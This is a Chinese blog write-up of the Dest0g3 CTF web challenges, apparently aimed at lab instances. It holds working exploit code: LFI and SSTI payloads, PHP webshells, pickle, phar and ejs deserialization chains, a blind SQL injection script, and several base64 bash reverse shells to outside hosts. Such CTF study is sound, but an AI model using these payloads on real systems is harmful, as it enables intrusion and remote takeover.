Dest0g3-web部分wp

发布时间 2023-12-11 21:46:48作者: Eddie_Murphy

最近的大赛很多,但是在群里也不会做,而且事比较多,所以就找点简单的小比赛查漏补缺一下,因为感觉自己基础不是很牢固。

phpdest

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

require_once跟直接include不一样。

这是PHP 最新版的小 Trick,require_once 包含的软链接层数较多时 once 的 hash 匹配会直接失效造成重复包含。

php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台 (anquanke.com)

payload:?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

或者session文件包含:

import requests
import io
import threading
url = "http://a44e2fb2-5cb3-4f96-a03f-9657dedc9a39.node4.buuoj.cn:81/"
sessionID = "flag"
data = {"cmd": "system('cat flag.php');"}
def write(session):
    while True:
        f = io.BytesIO(b'a'*1024*50)
        resp = session.post(url=url,data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST["cmd"]);?>'},files={'file':('flag.txt',f)},cookies={'PHPSESSID':sessionID})
def read(session):
    while True:
        resp = session.post(url='http://a44e2fb2-5cb3-4f96-a03f-9657dedc9a39.node4.buuoj.cn:81/?file=/tmp/sess_flag',data=data)
        if 'flag.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("=========retry==========")
if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1,5):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(1,5):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

EasyPHP

 <?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
    echo $fl4g;
}else{
    echo "Try harder!";
}
set_error_handler(
    function() use(&$fl4g) {
        print $fl4g;
    }
);
$fl4g .= $dest0g3;
?> 

没什么好说的,只需要让他报错就能输出flag,这里用数组绕过即可:

ctf[]=123

SimpleRCE

 <?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?> 

看起来过滤很多,发现可以hex2bin绕过:

aaa=hex2bin('73797374656d')('head /f*');

本来取反绕过就行,因为没ban ~:

aaa=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);

但是没回显,后来发现ban了%,怪不得。

funny_upload

又是php伪协议绕过,用.htaccess就行。

我也写过很多次了,这次就萌萌的略过了。

EasySSTI

ban掉了很多东西,反正常规payload我出不来,终于有个好玩一点的了。

这里只能考虑set构造,因为空格和点也都被过滤,但后来发现该题的检测方式是只对payload传入的内容进行检测,所以过滤空格话可以用%0a代替,剩下的就是随着报错随着构造了。

[Dest0g3 520迎新赛] Web部分wp_<?php highlight_file(__file__); require_once 'flag_S1nJa的博客-CSDN博客

MAR & DASCTF 2021 baby_flask_bfengj的博客-CSDN博客

{%%0aset%0apo=dict(po=a,p=a)|join%}
{%%0aset%0axiahuaxian=(lipsum|string|list)|attr(po)(18)%0a%}
{%%0aset%0agb=(xiahuaxian,xiahuaxian,dict(glo=a,bals=a)|join,xiahuaxian,xiahuaxian)|join%0a%}
{%%0aset%0aget=dict(get=a)|join%}{%%0aset%0ao=dict(o=a,s=a)|join%0a%}
{%%0aset%0apo=dict(po=a,pen=a)|join%}
{%%0aset%0acat=dict(cat=a)|join%}
{%%0aset%0aid=dict(index=a)|join%}
{%%0aset%0abin=(xiahuaxian,xiahuaxian,dict(buil=a,tins=a)|join,xiahuaxian,xiahuaxian)|join%0a%}
{%%0aset%0acr=dict(ch=a,r=a)|join%}
{%%0aset%0achr=(lipsum|attr(gb))|attr(get)(bin)|attr(get)(cr)%0a%}
{%%0aset%0axiegang=chr(47)%}
{%%0aset%0ard=dict(re=a,ad=a)|join%}
{%%0aset%0aspace=chr(32)%0a%}
{%%0aset%0ashell=(cat,space,xiegang,dict(flag=a)|join)|join%0a%}

{%print(lipsum|attr(gb)|attr(get)(o)|attr(po)(shell)|attr(rd)())%}

或者:

{%set%0aid=dict(ind=a,ex=a)|join%}{%set%0app=dict(po=a,p=a)|join%}{%set%0ann=dict(n=a)|join%}{%set%0aenv=dict(env=a)|join%}{%set%0appe=dict(po=a,pen=a)|join%}{%set%0att=dict(t=a)|join%}{%set%0agt=dict(ge=a,t=a)|join%}{%set%0aff=dict(f=a)|join%}{%set%0aooqq=dict(o=a,s=a)|join%}{%set%0afive=(lipsum|string|list)|attr(id)(tt)%}{%set%0ard=dict(re=a,ad=a)|join%}{%set%0athree=(lipsum|string|list)|attr(id)(nn)%}{%set%0aone=(lipsum|string|list)|attr(id)(ff)%}{%set%0ashiba=five*five-three-three-one%}{%set%0axiahuaxian=(lipsum|string|list)|attr(pp)(shiba)%}{%set%0agb=(xiahuaxian,xiahuaxian,dict(glob=a,als=a)|join,xiahuaxian,xiahuaxian)|join%}{%set%0abin=(xiahuaxian,xiahuaxian,dict(built=a,ins=a)|join,xiahuaxian,xiahuaxian)|join%}{%set%0aini=(xiahuaxian,xiahuaxian,dict(in=a,it=a)|join,xiahuaxian,xiahuaxian)|join%}{%set%0achcr=(lipsum|attr(gb))|attr(gt)(bin)%}{{(lipsum|attr(gb))|attr(gt)(ooqq)|attr(ppe)(env)|attr(rd)()}}

环境变量拿下flag。

太狠了。

middle

进去就给flask源码:

import os
import config
from flask import Flask, request, session, render_template, url_for,redirect,make_response
import pickle
import io
import sys
import base64


app = Flask(__name__)


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/')
def show():
    base_dir = os.path.dirname(__file__)
    resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read())
    resp.headers["Content-type"] = "text/plain;charset=UTF-8"
    return resp

@app.route('/home', methods=['POST', 'GET'])
def home():
    data=request.form['data']
    User = restricted_loads(base64.b64decode(data))
    return str(User)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=5000)
import os
def backdoor(cmd):
    # 这里我也改了一下
    if isinstance(cmd,list) :
        s=''.join(cmd)
        print("!!!!!!!!!!")
        s=eval(s)
        return s
    else:
        print("??????")

尤其是

@app.route('/home', methods=['POST', 'GET'])
def home():
    data=request.form['data']
    User = restricted_loads(base64.b64decode(data))
    return str(User)

一眼pickle反序列化,

Python之Pickle反序列化 | 沉铝汤的破站 (chenlvtang.top)

从零开始的pickle反序列化学习 - Cxlover - 博客园 (cnblogs.com)

直接开打:

import base64

payload = b'''cconfig\nbackdoor\n(]S"os.system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy80MDg1MiAwPiYx|base64 -d|bash -i')"\natR.'''

print(base64.b64encode(payload))

post传一下data:

PharPOP

很典的phar反序列化:

我们需要利用air类中的echo new $p($value);来执行PHP原生类。

ps.原生类:
DirectoryIterator可以配合glob://协议使用模式匹配来寻找需要的文件
SplFileObject可以读取文件

 <?php
highlight_file(__FILE__);

function waf($data){
    if (is_array($data)){
        die("Cannot transfer arrays");
    }
    if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) {
        die("You can't do");
    }
}

class air{
    public $p;

    public function __set($p, $value) {
        $p = $this->p->act;
        echo new $p($value);
    }
}

class tree{
    public $name;
    public $act;

    public function __destruct() {
        return $this->name();
    }
    public function __call($name, $arg){
        $arg[1] =$this->name->$name;

    }
}

class apple {
    public $xxx;
    public $flag;
    public function __get($flag)
    {
        $this->xxx->$flag = $this->flag;
    }
}

class D {
    public $start;

    public function __destruct(){
        $data = $_POST[0];
        if ($this->start == 'w') {
            waf($data);
            $filename = "/tmp/".md5(rand()).".jpg";
            file_put_contents($filename, $data);
            echo $filename;
        } else if ($this->start == 'r') {
            waf($data);
            $f = file_get_contents($data);
            if($f){
                echo "It is file";
            }
            else{
                echo "You can look at the others";
            }
        }
    }
}

class banana {
    public function __get($name){
        return $this->$name;
    }
}
// flag in /
if(strlen($_POST[1]) < 55) {
    $a = unserialize($_POST[1]);
}
else{
    echo "str too long";
}

throw new Error("start");
?> 

file_get_contents($data)相当于文件上传,传上去后再直接用phar://开读就可以了。

exp:

<?php

class air{
    public $p;

    public function __construct()
    {
        // $this->p = new tree;
    }

}

class tree{
    public $name;
    public $act;

    public function __construct()
    {
        $this->name = new apple;
        // $this->act = 'FilesystemIterator';
        $this->act = 'SplFileObject';
    }

}

class apple {
    public $xxx;
    public $flag;

    public function __construct()
    {
        // $this->xxx = new air;
        // $this->flag = 'glob:///f*';
        $this->flag = '/fflaggg';
    }

}
class banana {
    public function __construct()
    {
        $this->name = new air;
    }
}

$o = new tree;
$o->name->xxx = new air;
$o->name->xxx->p = new tree;

// echo serialize($o);
echo urlencode(serialize($o));

// class D {
//     public $start = 'r';
// }

// $a = new D;
// echo serialize($a);
// echo "\n";

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); \?\>");
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

// echo urlencode(file_get_contents('234.phar.gz'));

但是这道题还涉及到fast destruct,也就是GC机制。所以我们让它报错以强行先触发destruct,但是phar的签名也发生了变化,就需要再一次的改动。

我原来也贴过两种方法:

这里我选择去掉尾部右花括号 }

然后改签名:

from hashlib import sha1

f = open('phar.phar', 'rb').read()

s = f[:-28]
h = f[-8:]
newf = s + sha1(s).digest() + h

open('234.phar', 'wb').write(newf)

而且黑名单我们也看到了,把类名都ban掉了,所以内容上要绕过检测,就需要用gzip来绕过它。

这里本来python可以直接做,但正好开着虚拟机就直接gzip了:

先上传打phar,因为file_put_contents相当于文件上传,先parse一下拿到编码:

import urllib.parse

with open("C:\\Users\\75279\\Desktop\\234.phar.gz", 'rb') as fi:
    f = fi.read()
    ff = urllib.parse.quote(f) #获取信息
    print(ff)

然后直接传参就行。(其实python可以一条龙,其他师傅的wp也有,这里也不献丑了)

POST1:

0=%1F%8B%08%08%B3%2Bpe%00%03234.phar%00%8B%8F%F7p%F4%09%89w%F6%F7%0D%F0%F4q%0D%D2%D0%B4V%B0%B7%E3%E5%D2%60d%60%00%22%06A%06%08%CD%C0%F0%09%88%FD%ADL%AC%94J%8ARS%95%AC%8C%AC%AA%8BA%BC%BC%C4%DCT%25k%7F%2BS%2B%A5%C4%82%82%1C%98%8C%B1%95REE%05H%02%C8J%CC%2CR%B22%04%09%1BZ%29%15%80%04I5%C6%CF%1A%AC%2A-%271%5D%09%C8%B4%B0R%D2O%03q%D2%81%DCZ%B0%B2%C4%E4%12%90%8C%21%90%19%5C%90%E3%96%99%93%EA%9F%94%95%0A%12%AC%AD%25_/%07%D0%D3%25%A9%C5%25z%25%15%25%2C%40%F6A%AD%82T%10%CDSW%7Fc%1B%24%5C%C0%F2%CF%EE%FF%17%CF%7D%FE%F5%25%EF%BF%AD%B3%8E%5ES%0A%28%FC%E3%CE%BC%E9F%11%F7Q%17%8F%5D%3C%8E%97%F9%99%81%EA%DC%9D%7C%9D%00%DF%F1%C9%D7n%01%00%00&1=O:1:"D":2:{s:5:"start";s:1:"w";}

POST2:

0=phar:///tmp/3eee03eb860187093bbda6d504cdeab2.jpg&1=O:1:"D":2:{s:5:"start";s:1:"r";}

结果错了:

一看SHA256,我就明白了,因为做过一道pharpop,最后是SHA256加密才能出,这里具体原因不知道,如果有明白的师傅看到能给我解惑就更好了....

再来一遍:

POST2:

0=phar:///tmp/e763fbc2a6987d8b03a0f128481372bf.jpg&1=O:1:"D":2:{s:5:"start";s:1:"r";}

爽了。

ezip

牛魔,一打开就是个瑟图。

难绷,我怕过不了审,就不放了。

结果upload的源码藏在瑟图里,6。

最后藏了个base64:

upload.php:
<?php
error_reporting(0);
include("zip.php");
if(isset($_FILES['file']['name'])){
    if(strstr($_FILES['file']['name'],"..")||strstr($_FILES['file']['name'],"/")){
        echo "hacker!!";
        exit;
    }
    if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)!="zip"){
        echo "only zip!!";
        exit;
    }
    $Myzip = new zip($_FILES['file']['name']);
    mkdir($Myzip->path);
    move_uploaded_file($_FILES['file']['tmp_name'], './'.$Myzip->path.'/' . $_FILES['file']['name']);
    echo "Try to unzip your zip to /".$Myzip->path."<br>";
    if($Myzip->unzip()){echo "Success";}else{echo "failed";}
}

zip.php:

<?php
class zip
{
    public $zip_name;
    public $path;
    public $zip_manager;

    public function __construct($zip_name){
        $this->zip_manager = new ZipArchive();
        $this->path = $this->gen_path();
        $this->zip_name = $zip_name;
    }
    public function gen_path(){
        $chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        $newchars=str_split($chars);
        shuffle($newchars);
        $chars_key=array_rand($newchars,15);
        $fnstr = "";
        for($i=0;$i<15;$i++){
            $fnstr.=$newchars[$chars_key[$i]];
        }
        return md5($fnstr.time().microtime()*100000);
    }

    public function deldir($dir) {
        //å…ˆåˆ é™¤ç›®å½•ä¸‹çš„æ–‡ä»¶ï¼š
        $dh = opendir($dir);
        while ($file = readdir($dh)) {
            if($file != "." && $file!="..") {
                $fullpath = $dir."/".$file;
                if(!is_dir($fullpath)) {
                    unlink($fullpath);
                } else {
                    $this->deldir($fullpath);
                }
            }
        }
        closedir($dh);
    }
    function dir_list($directory)
    {
        $array = [];

        $dir = dir($directory);
        while ($file = $dir->read()) {
            if ($file !== '.' && $file !== '..') {
                $array[] = $file;
            }
        }
        return $array;
    }
    public function unzip()
    {
        $fullpath = "/var/www/html/".$this->path."/".$this->zip_name;
        $white_list = ['jpg','png','gif','bmp'];
        $this->zip_manager->open($fullpath);
        for ($i = 0;$i < $this->zip_manager->count();$i ++) {
            if (strstr($this->zip_manager->getNameIndex($i),"../")){
                echo "you bad bad";
                return false;
            }
        }
        if(!$this->zip_manager->extractTo($this->path)){
            echo "Unzip to /".$this->path."/ failed";
            exit;
        }
        @unlink($fullpath);
        $file_list = $this->dir_list("/var/www/html/".$this->path."/");
        for($i=0;$i<sizeof($file_list);$i++){
            if(is_dir($this->path."/".$file_list[$i])){
                echo "dir? I deleted all things in it"."<br>";@$this->deldir("/var/www/html/".$this->path."/".$file_list[$i]);@rmdir("/var/www/html/".$this->path."/".$file_list[$i]);
            }
            else{
                if(!in_array(pathinfo($file_list[$i], PATHINFO_EXTENSION),$white_list)) {echo "only image!!! I deleted it for you"."<br>";@unlink("/var/www/html/".$this->path."/".$file_list[$i]);}
            }
        }
        return true;

    }


}

遇到上传zip,前面0xGame遇到过一个用软链接直接指向根目录的做法,但是这道题好像没有回显出来,所以这个方法就放着了。

后面又想到前面组会小姐姐讲过zip,有点印象,虽然对这道题好像也没什么实质性帮助,也许是我忘了吧wwww

其实这道直接写个?就行了,有两个解法:

解法一:

于是利用 ↓处的exit,绕过之后检测的rmdir和unlink

if(!$this->zip_manager->extractTo($this->path)){
    echo "Unzip to /".$this->path."/ failed";
    exit;
}

先创建一个passwd.php,内含一句话<?php @eval($_GET['cmd'])?>,把他zip进压缩包:

zip -y pwn.zip passwd.php

然后删除passwd.php创建一个同名文件夹,里头随便放点东西,再压缩进同一个包:

mkdir passwd.php
zip -y pwn.zip passwd.php/.jpg

直接传:

/passwd.php?cmd=system(%27nl%20/flag%27);

这里是需要SUID提权的。

但不知道为啥我没出:

别人出了:

解法二:

开发手册这里:

function dir_list($directory)
    {
        $array = [];

        $dir = dir($directory);
        while ($file = $dir->read()) {
            if ($file !== '.' && $file !== '..') {
                $array[] = $file;
            }
        }
        return $array;
    }

在手册中给出了read()或者说readdir()的推荐写法,用强比较来判定布尔值

另外还贴心的给出了弱比较下的问题,文件夹命名为0在弱比较下是false,写法不对会处理不到该文件夹,所以通过将木马藏在命名为0的文件夹来躲避删除。

来自:Dest0g3 520迎新赛WEB 无java部分 wp_-''0:wtdda3-CSDN博客

路径:

<url>/5dbd194ba4a633f73c0ffc65997b4ca6/0/passwd.php

SUID提权,发现nl可用:

最后也是看到本来是传上去了,但是解压失败,估计是文件的问题,后面会想其他的方法。

其实还有种直接010改压缩包的手法,但是暂时不是很会,以后遇到了也会更注意一点。

 

NodeSoEasy

Nodejs写的后端,下载附件看一下:

看到merge()和下面的POST传参路由,一眼js原型链污染。

另一个文件里发现信息:

但是poc链怎么写呢?

非预期

网上现找一个,结果还真成功了:

Content-Type: application/json

{
    "__proto__": {
        "client": true,
        "escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');",
        "compileDebug": true
    }
}

预期解

{"__proto__":{"__proto__":{"client":true,"escape":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}

说实话确实不是很明白链子怎么来的,所以浅浅回顾了一下。

浅析CTF中的Node.js原型链污染 - FreeBuf网络安全行业门户

npm查了下源码包依赖的漏洞,啥也没有,最新的CVE-2022-29078是ejs 3.16的这里是3.17已修复版本。

结果又找到现成的链子了。

关于nodejs的ejs和jade模板引擎的原型链污染挖掘-安全客 - 安全资讯平台 (anquanke.com)

稍微改改属性,就有了:

{
    "__proto__": {
        "client": true,
        "escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/server.natappfree.cc/39606 0>&1\"');",
        "compileDebug": true
    }
}

但这个链子别人打出来了,BUU Dest0g3 520迎新赛 WEB writeup-CSDN博客,我打不出来,怪。

Really Easy SQL

hint:

$black_list=array('union','updatexml','order','by','substr',' ','and','extractvalue',';','sleep','join','alter','handler','char','+','/','like','regexp','offset','sleep','case','&','-','hex','%0','load');

黑名单可以看到,常规注入过滤了,虽然过滤了sleep,但是benchmark没有过滤。

而且这是个钓鱼网站,就是让你输入账号密码啥的,并且不会有后续回显,仍然可以时间盲注。

直接上benchmark的时间盲注exp:

import time

import requests

url = "http://6c6aed68-4ee2-4ee2-a099-4f6103f76668.node4.buuoj.cn:81/index.php"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,{}-']
res = ''

for i in range(1,60):
    for j in string:
        time.sleep(0.1)
        #payload = f"username='or(if((ascii(right((select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
        #payload = f"username='or(if((ascii(right((select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema='ctf'),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
        #payload = f"username='or(if((ascii(right((select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name='flaggg'),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
        payload = f"username='or(if((ascii(right((select%a0group_concat(cmd)%a0from%a0ctf.flaggg),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
        try:
            headers = {'Content-Type':'application/x-www-form-urlencoded'}
            requests.post(url=url, data=payload, headers=headers, timeout=1.5)
        except:
            res = chr(j)+res
            print(res)
            break

有点久,等它梭出来就行:

easysql

hint是insert注入,这方面的题确实没做到过。

多了点过滤,但是用上一题的脚本竟然还能梭。

额,insert的注入后面会上心的。这里就不复现了,时间确实太长了。

 

EzSerial

Java安全题。(虽然靶机一直上不去,只能看wp了)

考点技术:xxe,spel表达式,反序列化,文件安全,最新框架插件漏洞等

设法间接给出源码或相关配置提示文件,间接性源码或直接源码体现等形式

CTF中常见Web源码泄露总结(参考:https://www.cnblogs.com/xishaonian/p/7628153.html)

.ng源码泄露
git源码泄露
.Ds_store文件泄漏
网站备份压缩文件
SVN导致文件泄露
WEB-INF/web. xml泄露
CVS泄漏

CTF中常见Web源码泄露总结 - 珍惜少年时 - 博客园 (cnblogs.com)

85:CTF夺旗-JAVA考点反编译&XXE&反序列化 - zhengna - 博客园 (cnblogs.com)

反序列化利用工具:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)

登录发现cookie user是base64的,符合加密后序列化的开头特征

直接打cc链没反应,发包一直有setcookie

尝试/user 或者 /admin路由:

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

然后CC5直接开打反弹shell,借用:

#jdk1.8 win
from urllib.parse import quote
import requests
import os
import base64
import time

#payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']
payloads = ['BeanShell1','Click1','Clojure','CommonsBeanutils1','CommonsCollections1','CommonsCollections2','CommonsCollections3','CommonsCollections4','CommonsCollections5','CommonsCollections6','CommonsCollections7','Groovy1','Hibernate1','Hibernate2','JBossInterceptors1','JavassistWeld1','Jdk7u21','MozillaRhino1','MozillaRhino2','Myfaces1','ROME','Spring1','Spring2','Vaadin1']

for payload in payloads:
    command = os.popen('java8 -jar ysoserial.jar ' + payload + ' "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMzEuNzYuMjQwLzc5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" > '+payload+'.txt')
    command.close()
    cmd = os.popen('certutil -f -encode '+payload+'.txt '+payload+'_encode.txt')
    cmd.close()
    #result = result.replace('\n','')

    with open(payload + '_encode.txt','r') as f:
        ff=f.read()

    ff=ff.replace('\n','')
    ff=ff.replace('-----BEGIN CERTIFICATE-----','')
    ff=ff.replace('-----END CERTIFICATE-----','')
    print(payload+'\n')
    cookies = {'JSESSIONID':'27F2790D6C4FB2CDC86DB5A8011DB28A','user':ff}

    rep = requests.get(url="http://20beb449-5bb6-4940-a43c-97d72b2fc3ce.node4.buuoj.cn:81/admin/", cookies=cookies)
    
    #time.sleep(2)
    print(rep.text)
#jdk1.8 linux
from urllib.parse import quote
import requests
import os
import base64
import time

payloads = ['BeanShell1','Click1','Clojure','CommonsBeanutils1','CommonsCollections1','CommonsCollections2','CommonsCollections3','CommonsCollections4','CommonsCollections5','CommonsCollections6','CommonsCollections7','Groovy1','Hibernate1','Hibernate2','JBossInterceptors1','JavassistWeld1','Jdk7u21','MozillaRhino1','MozillaRhino2','Myfaces1','ROME','Spring1','Spring2','Vaadin1']

for payload in payloads:
    command = os.popen('java -jar ysoserial.jar ' + payload + ' "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMzEuNzYuMjQwLzc5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" | base64 -w 0')
    result = command.read()
    command.close()
    #result = result.replace('\n','')
    print(result)

    if result != "":
        open(payload + '_intruder.txt', 'w').write(result + 'n')


for payload in payloads:
    with open(payload + '_intruder.txt','r') as f:
        ff=f.read()

    print(payload+'\n')
    headers = {'Content-Type':'application/x-www-form-urlencoded'}
    cookies = {'JSESSIONID':'98C504A30CFBA237247087E5F7D925D7','user':ff}

    rep = requests.get(url="http://20beb449-5bb6-4940-a43c-97d72b2fc3ce.node4.buuoj.cn:81/admin/",  headers=headers, cookies=cookies)
    
    #time.sleep(2)
    print(rep.text)

或bp上打:

注意payload:

java -jar ShortPayload-1.0.jar CC6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTcuMTc0LjIyNi85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"

不要写成:

java -jar ShortPayload-1.0.jar CC6 "echo YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTcuMTc0LjIyNi85OTk5IDA+JjE=|base64 -d|bash -i"

ljctr

蛙趣,看到我们web组里bridge佬的wp了,甚至是唯三解出来的,太酷了!!!

这里还需要在研究看看,因为确实有点难度emmmm.....

Dest0g3迎新赛wp - KingBridge - 博客园 (cnblogs.com)

 

 

参考:

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_520迎新赛web_shu天的博客-CSDN博客

Dest0g3 520迎新赛 - seizer-zyx - 博客园 (cnblogs.com)

BUU Dest0g3 520迎新赛 WEB writeup-CSDN博客